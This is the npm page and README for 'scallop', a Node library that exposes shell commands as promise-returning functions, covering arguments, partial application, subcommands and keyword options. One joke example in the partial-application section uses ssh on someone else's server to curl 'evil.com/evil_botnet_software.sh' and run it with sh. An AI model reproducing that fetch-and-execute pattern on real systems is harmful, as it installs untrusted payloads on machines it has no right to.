0.2.0 • Published 8 years ago

scallop v0.2.0

Weekly downloads
6
License
BSD-2-Clause
Repository
github
Last release
8 years ago

$ npm i --save-dev scallop
const scallop = require('scallop');
const curl = scallop('curl', {silent: true});

(async () => {
  const [out] = await curl('http://httpbin.org/user-agent');
  console.log(JSON.parse(out)['user-agent']); // curl/7.30.0
})():
// Of course this is a horribly contrived example. You should use `http.get`.

Now everything in $PATH has node bindings!

Literal Arguments

Anything you pass directly to your wrapper function gets passed through.

const mkdir = scallop('mkdir');
mkdir('example_directory');

Multiple arguments can be provided.

mkdir('-p', 'parent/child');

Spaces and the like are automatically escaped.

mkdir('Some directory with spaces! Wooo! Rebellion!');

Remember that, because this is node, everything is asynchronous, all our calls will return immediately and execute in parallel. Libraries like async or promises are good mechanisms for organizing this mayhem.

Argument Expansion

Because Function.apply is needlessly ugly, you can simply pass arrays beside literal arguments.

const myFolders = ['folderA', 'folderB', 'folderC'];
mkdir('-p', '-v', myFolders);
// which is the same as
mkdir.apply(null, ['-p', '-v'].concat(myFolders));
// or in ES2015
mkdir('-p', '-v', ...myFolders);

You can even have nested lists, and they'll all be expanded upon evaluation.

Partial Application

You know, I kinda wish mkdir supplied -p by default.

mkdir = mkdir.partial('-p');
mkdir('another-parent/child');

Oh! Look at that! It's okay I guess. I just wish it required exactly one less function call. If only we could apply the partial when creating mkdir....

const mkdir = scallop('mkdir', '-p');

Alright. That looks cool, but kinda limited in use.

const ssh = scallop('ssh');
const definitelyMyServer = ssh.partial('notmyserver.com', '-p 1234');
const remoteCurl = definitelyMyServer.partial('curl', '--silent');

remoteCurl('-O', 'http://evil.com/evil_botnet_software.sh');
definitelyMyServer('sh', 'evil_botnet_software.sh');
// Please only use this on PHP websites

Subcommands

Subcommands are a special case of partial application. git uses these heavily. We can define some of the common subcommands for git with the defineSubcommands function.

const git = scallop('git').defineSubcommands('status', 'add', 'rm', 'clone');
git.clone('https://github.com/bgw/scallop.git', 'scallop');

A subcommand can be defined by a --dashed-argument, just pass it to defineSubcommands, and the dashes will be stripped and converted to camelCase.

Some programs might use a tree of these subcommands, which can be accomplished by defining subcommands with and object. Arrays of subcommands can be intermingled, forming leaves, or falsy values can be provided to prune the tree.

const sudo = scallop('sudo');
sudo.defineSubcommands({ls: null, git: ['status', 'add', 'rm'], echo: null});
sudo.git.add('important_file.txt');

ES2015 Harmony Proxy Syntax

Having to make a call to defineSubcommands sucks, and there's no real reason (except a lack of language support) why the subcommands should ever have to be explicitly predefined.

The ES2015 adds object Proxies. These allow us to intercept accesses to an underlying object. If you enable proxies by passing --harmony-proxies or --harmony to node, then you can use some alternate syntax. There's no portable way to compile away or polyfill the Proxy API. Eventually this language feature should be enabled by default in future versions of node.

scallop.ssh['bgw@benjam.info'].git.rm('important_file.txt');

Take that, ES5!

Promises

The output of commands is communicated using promises.

const ls = scallop('ls', '-1');

ls('test_dir')
  .then(([stdout, stderr]) => {
    console.log(stdout.trim().split('\n'));
  })
  .catch((ex) => {
    console.trace(ex);
  });

// ['another_parent', 'example_directory', ... ]

This becomes more natural when paired with ES2016 async/await syntax.

const [stdout, stderr] = await ls('test_dir');
console.log(stdout.trim().split('\n'));

Keyword Arguments

As the last argument you may specify keyword arguments as an object. These keyword arguments get rewritten as follows:

  • Single letter keys get a single dash prepended to them: -s
  • Multi-letter keys get two dashes prepended to them: --long
  • Integer values get converted to strings
  • Boolean values trigger some special casing (see below)
  • The value is appended after the key, separated by an equals sign: --key=value

Boolean Keyword Arguments

It makes sense to think of the keyword arguments as an "options argument". Fitting this analogy, keyword arguments with boolean values get processed differently:

  • When true, the keyword gets one or two dashes prepended to it. No value is written out.
  • When false, the entire entry is ignored.

As an example, the object

{verbose: false, escape: true, color: false, literal: true, a: true}

Would translate into

--escape --literal -a

"Special" Keyword Arguments

Keys prepended with an _underscore act a bit differently. The following special arguments are supported

Even More Stuff

I'm not done writing yet. But there's plenty more features in there, and many ideas left to implement!

Portability

Because we're dealing with platform-specific commands, shelling out on Linux and OS X will almost certainly be different than on Windows. Adding insult to injury, I haven't even tested this on Windows. Oh well; it's not like Windows has a significant market share.

See Also

scallop is based on the python module, sh by Andrew Moffat. sh is hosted on GitHub. I even lifted some examples from his documentation!